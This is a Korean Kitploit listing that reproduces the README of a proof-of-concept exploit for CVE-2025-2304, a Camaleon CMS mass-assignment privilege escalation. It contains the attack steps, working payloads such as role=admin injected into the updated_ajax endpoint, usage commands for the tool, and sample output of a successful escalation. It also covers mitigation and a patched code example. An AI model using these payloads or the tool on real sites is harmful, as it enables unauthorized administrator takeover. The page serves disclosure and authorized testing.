Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-2304-POC — CVE-2025-2304에 대한 개념 증명 — Camaleon CMS에서의 심각한 (CVSS 9.4) 대량 할당 권한 상승 취약점 | Kitploit
도구/GitHubGitHub/d3vn0mi/cve-2025-2304-poc
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubd3vn0mi/cve-2025-2304-poc

CVE-2025-2304-POC

CVE-2025-2304에 대한 개념 증명 — Camaleon CMS에서의 심각한 (CVSS 9.4) 대량 할당 권한 상승 취약점

저장소 보기
1033개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-2304 PoC - Camaleon CMS 권한 상승

CVE CVSS Python License

CVE-2025-2304에 대한 개념 증명(PoC) 익스플로잇입니다. 이는 Camaleon CMS의 중요한 질량 할당 취약점으로, 낮은 권한의 사용자가 관리자로 권한 상승할 수 있게 합니다.

root@kitploit:~
    ██████╗ ██████╗ ██╗   ██╗███╗   ██╗ ██████╗ ███╗   ███╗██╗
    ██╔══██╗╚════██╗██║   ██║████╗  ██║██╔═████╗████╗ ████║██║
    ██║  ██║ █████╔╝██║   ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
    ██║  ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
    ██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
    ╚═════╝ ╚═════╝   ╚═══╝  ╚═╝  ╚═══╝ ╚═════╝ ╚═╝     ╚═╝╚═╝

📋 목차

  • 개요
  • 취약점 상세
  • 기능
  • 설치
  • 사용법
  • 예제
  • 영향받는 버전
  • 완화 조치
  • 면책 조항
  • 참고 자료
  • 저자

🔍 개요

CVE-2025-2304는 Camaleon CMS의 UsersController에 있는 updated_ajax 메서드에서 발견된 중요한 질량 할당 취약점입니다. 이 취약점은 Rails의 위험한 permit! 메서드를 사용하여 모든 매개변수를 필터링 없이 통과시키는 데서 비롯됩니다.

이 PoC는 낮은 권한을 가진 인증된 사용자가 비밀번호 변경 작업 중에 승인되지 않은 매개변수를 주입하여 관리자 역할로 권한 상승할 수 있는 방법을 보여줍니다.

CVSS 점수: 9.4 (치명적)

🐛 취약점 상세

근본 원인

취약한 코드는 params.require(:user).permit!를 사용하여 모든 사용자 제공 매개변수를 검증 없이 수락합니다:

root@kitploit:~
def updated_ajax
  user_params = params.require(:user).permit!  # 위험!
  current_user.update(user_params)
end

익스플로잇

공격자는 합법적인 비밀번호 변경 필드와 함께 user[role]=admin과 같은 추가 매개변수를 주입하여 애플리케이션이 사용자의 역할을 관리자로 업데이트하도록 만들 수 있습니다.

공격 벡터:

  1. 낮은 권한의 사용자(예: "client" 역할)로 인증
  2. 조작된 POST 요청을 /admin/users/{id}/updated_ajax로 전송
  3. user[role]=admin 매개변수 주입
  4. 사용자 역할이 관리자로 상승

✨ 기능

  • ✅ 안전한 테스트: 익스플로잇 과정에서 사용자 비밀번호 유지
  • ✅ 다중 페이로드: 7가지 이상의 다양한 주입 기법 테스트
  • ✅ 버전 탐지: 취약한 CMS 버전 자동 탐지
  • ✅ 비파괴 옵션: 가장 안전한 테스트를 위한 --no-password-field 플래그
  • ✅ 프록시 지원: 수동 분석을 위해 Burp Suite/ZAP과 통합
  • ✅ 상세 모드: 디버깅을 위한 상세 출력
  • ✅ 관리자 탈취: 선택적 관리자 비밀번호 초기화 공격
  • ✅ 색상 구분 출력: 성공/실패에 대한 명확한 시각적 표시

📦 설치

요구 사항

  • Python 3.7+
  • pip (Python 패키지 관리자)

저장소 클론

root@kitploit:~
git clone https://github.com/d3vhthnnni/cve-2025-2304-poc.git
cd cve-2025-2304-poc

의존성 설치

root@kitploit:~
pip install -r requirements.txt

또는 수동 설치:

root@kitploit:~
pip install requests beautifulsoup4

🚀 사용법

기본 구문

root@kitploit:~
python3 cve-2025-2304-poc.py <target_url> -u <username> -p <password> [options]

명령줄 옵션

root@kitploit:~
positional arguments:
  target                대상 URL (예: http://target.com)

required arguments:
  -u, --username        인증을 위한 기존 사용자 이름
  -p, --password        사용자 비밀번호

optional arguments:
  -h, --help            도움말 메시지 표시 및 종료
  -v, --verbose         상세 출력 (모든 요청 표시)
  --proxy PROXY         트래픽 검사를 위한 HTTP 프록시 (예: http://127.0.0.1:8080)
  --no-password-field   비밀번호 필드 없이 익스플로잇 테스트 (가장 안전)
  --skip-admin-test     파괴적 관리자 비밀번호 재설정 테스트 건너뛰기

📚 예제

표준 테스트 (권장)

비밀번호를 유지하면서 기존 사용자 자격 증명으로 테스트:

root@kitploit:~
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123

가장 안전한 테스트 (비밀번호 필드 없음)

익스플로잇 페이로드에 비밀번호 필드를 포함하지 않고 테스트:

root@kitploit:~
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --no-password-field

Burp Suite 프록시 사용

Burp Suite를 통해 트래픽을 라우팅하여 수동 검사:

root@kitploit:~
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --proxy http://127.0.0.1:8080

상세 모드

모든 요청과 응답을 보여주는 상세 출력 활성화:

root@kitploit:~
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 -v

파괴적 테스트 건너뛰기

권한 상승만 테스트하고 관리자 비밀번호 재설정은 건너뛰기:

root@kitploit:~
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --skip-admin-test

📊 샘플 출력

root@kitploit:~
    ██████╗ ██████╗ ██╗   ██╗███╗   ██╗ ██████╗ ███╗   ███╗██╗
    ██╔══██╗╚════██╗██║   ██║████╗  ██║██╔═████╗████╗ ████║██║
    ██║  ██║ █████╔╝██║   ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
    ██║  ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
    ██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
    ╚═════╝ ╚═════╝   ╚═══╝  ╚═╝  ╚═══╝ ╚═════╝ ╚═╝     ╚═╝╚═╝

============================================================
   CVE-2025-2304 - Camaleon CMS 권한 상승 PoC
   질량 할당 취약점 테스터
   저자: d3vn0mi | GitHub: github.com/d3vhthnnni
============================================================

[*] 대상: http://target.com
[*] 사용자 이름: testuser
[*] 비밀번호: **********

[*] testuser로 로그인 중...
[+] 로그인 성공

[*] CMS 버전 확인 중...
[*] 탐지된 버전: 2.9.0
[+] 버전이 취약함 (< 2.9.1)

============================================================
[*] CVE-2025-2304 질량 할당 취약점 테스트 중
============================================================

[*] 대상 사용자: testuser (ID: 7)
[*] 현재 역할: Client (client)
[*] 비밀번호는 변경되지 않습니다.

[1/7] 테스트: AJAX 엔드포인트 - user[role]
    ✗ 실패
[2/7] 테스트: AJAX 엔드포인트 - password[role]
============================================================
[+] 익스플로잇 성공!
============================================================
[+] 권한 상승: Client → Administrator
[+] 취약한 엔드포인트: /admin/users/7/updated_ajax
[+] 작동 페이로드: {'password[role]': 'admin'}
[+] 비밀번호 변경되지 않음: 사용자가 정상적으로 로그인 가능
[+] CVE-2025-2304 확인됨!

[✓] CVE-2025-2304 취약점 확인됨

🎯 영향받는 버전

버전상태
< 2.9.1❌ 취약함
≥ 2.9.1✅ 패치됨

구체적으로 취약한 버전:

  • Camaleon CMS 2.9.0
  • Camaleon CMS 2.8.x 및 이전

🛡️ 완화 조치

즉시 조치

  1. 버전 2.9.1 이상으로 업그레이드

    root@kitploit:~
    gem update camaleon_cms
    
  2. 사용자 계정 감사

    • 예상치 못한 권한 변경 확인
    • 사용자 역할 수정 로그 검토
    • /users/*/updated_ajax에 대한 의심스러운 POST 요청 확인
  3. 비밀번호 재설정 강제 (침해된 경우)

    • 모든 권한 있는 계정의 비밀번호 재설정
    • 기존 세션 무효화

장기적인 예방

안전한 코드 패턴:

위험한 permit!를 명시적 허용 목록으로 대체:

root@kitploit:~
# 이전 (취약함)
def updated_ajax
  user_params = params.require(:user).permit!
  current_user.update(user_params)
end

# 이후 (안전함)
def updated_ajax
  user_params = params.require(:user).permit(:password, :password_confirmation)
  current_user.update(user_params)
end

추가 보안 조치:

  • 애플리케이션 전반에 걸쳐 강력한 매개변수 필터링 구현
  • 중요 작업에 역할 변경 승인 워크플로 추가
  • 권한 변경에 대한 감사 로깅 활성화
  • 최소 권한 원칙 사용
  • WAF 규칙을 통해 질량 할당 시도 모니터링

⚠️ 면책 조항

이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.

법적 고지:

  • 자신이 소유하거나 명시적인 서면 허가를 받은 시스템에서만 이 도구를 사용하십시오
  • 컴퓨터 시스템에 대한 무단 접근은 다음과 같은 법률에 따라 불법입니다:
    • 미국의 컴퓨터 사기 및 남용 법(CFAA)
    • 영국의 컴퓨터 오용법 1990
    • 기타 관할 지역의 유사 법률
  • 저자는 이 도구의 오용이나 손해에 대해 어떠한 책임도 지지 않습니다
  • 사용자는 자신의 행동에 대해 단독으로 책임을 집니다

윤리적 사용:

  • 테스트 전에 적절한 승인을 받으십시오
  • 책임 있는 공개 관행을 따르십시오
  • 범위가 승인된 침투 테스트 계약에서 사용하십시오
  • 통제된 실습 환경에서만 교육 목적으로 사용하십시오

📖 참고 자료

  • CVE 항목: CVE-2025-2304
  • GHSA 권고: GHSA-rp28-mvq3-wf8j
  • 벤더 권고: Tenable Security Research TRA-2025-09
  • 패치 커밋: GitHub Commit 179fd6b
  • 릴리스 노트: Camaleon CMS 2.9.1

👤 저자

d3vn0mi

  • GitHub: @d3vn0mi
  • 개인 웹사이트: @d3vn0mi
  • 개인 블로그: @d3vn0mi

📝 라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.

🤝 기여

기여, 이슈, 기능 요청은 언제나 환영합니다!

이슈 페이지를 확인해 주세요.

⭐ 지지 표시

이 프로젝트가 도움이 되었다면 ⭐을 눌러 주세요!


참고: 이 저장소는 보안 연구 및 교육 목적을 위한 것입니다. 항상 책임 있는 공개를 실천하고 테스트 전에 적절한 승인을 받으십시오.

도구 다운로드